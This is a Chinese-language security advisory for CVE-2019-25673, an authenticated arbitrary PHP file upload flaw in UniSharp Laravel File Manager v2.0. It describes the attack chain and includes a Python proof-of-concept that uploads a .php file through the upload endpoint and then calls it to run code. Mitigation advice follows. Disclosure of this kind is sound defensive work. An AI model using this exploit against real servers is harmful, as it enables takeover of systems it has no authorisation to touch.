IPBUF安全漏洞报告
English
CVE-2019-25673 CVSS 8.8 高危

CVE-2019-25673 Laravel File Manager任意文件上传漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2019-25673
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
UniSharp Laravel File Manager

相关标签

文件上传RCELaravelUniSharpCVE-2019-25673

漏洞概述

UniSharp Laravel File Manager v2.0.0-alpha7及v2.0版本存在任意文件上传漏洞。由于上传端点缺乏对文件类型的严格校验,经过身份验证的攻击者可发送特制的multipart form data请求,绕过限制上传恶意PHP文件。一旦文件上传成功,攻击者即可通过直接访问工作目录中的该文件来执行任意代码,完全控制受影响的服务器,构成极高的安全风险。

技术细节

该漏洞的核心在于UniSharp Laravel File Manager在处理文件上传请求时,仅依赖于请求参数中的type字段来判断文件类型,而没有在后端对文件扩展名和MIME类型进行严格的白名单验证。具体来说,攻击者可以利用已认证的低权限账户,向上传接口发送POST请求,构造multipart/form-data格式的数据,并将type参数指定为Files。在此过程中,攻击者可以将文件名篡改为.php后缀的脚本。服务器接收请求后,错误地将该文件视为合法文件并保存到Web可访问的工作目录中。由于服务器配置了解析PHP脚本的功能,攻击者随后可以通过发送HTTP请求访问该路径,导致服务器端恶意PHP代码被执行,从而获取服务器权限。

攻击链分析

STEP 1
侦察与认证
攻击者发现目标使用存在漏洞的UniSharp Laravel File Manager版本,并通过低权限账户登录系统获取有效的Session或Token。
STEP 2
构造恶意请求
攻击者构造包含恶意PHP脚本的multipart/form-data请求,并将type参数设置为'Files',旨在绕过简单的客户端验证。
STEP 3
上传WebShell
向/laravel-filemanager/upload端点发送POST请求,由于服务端校验缺失,恶意PHP文件被成功保存至Web工作目录。
STEP 4
执行任意代码
攻击者通过浏览器或工具直接访问上传后的PHP文件URL,服务器解析PHP代码并执行,从而获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://example.com" upload_url = f"{target_host}/laravel-filemanager/upload" # Attacker's session cookie (authentication required) session_cookie = "laravel_session=attacker_session_value" headers = { "Cookie": session_cookie } # Multipart form data # The vulnerability allows uploading PHP by setting type to 'Files' files = { "file": ("exploit.php", "<?php phpinfo(); ?>", "application/octet-stream") } data = { "type": "Files" } # 1. Upload the malicious file response = requests.post(upload_url, files=files, data=data, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully.") # 2. Access the uploaded file to trigger execution # Note: The exact path depends on the configuration, often /storage or /user/files exploit_url = f"{target_host}/user/files/exploit.php" exec_response = requests.get(exploit_url) print(f"[+] Execution status: {exec_response.status_code}") else: print("[-] Upload failed.")

影响范围

UniSharp Laravel File Manager v2.0.0-alpha7
UniSharp Laravel File Manager v2.0

防御指南

临时缓解措施
建议立即检查并升级受影响组件。若暂无法升级,应在Web服务器配置文件(如nginx.conf或.htaccess)中,禁止在文件上传相关目录下解析和执行PHP文件,并部署Web应用防火墙(WAF)拦截包含恶意脚本特征的上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表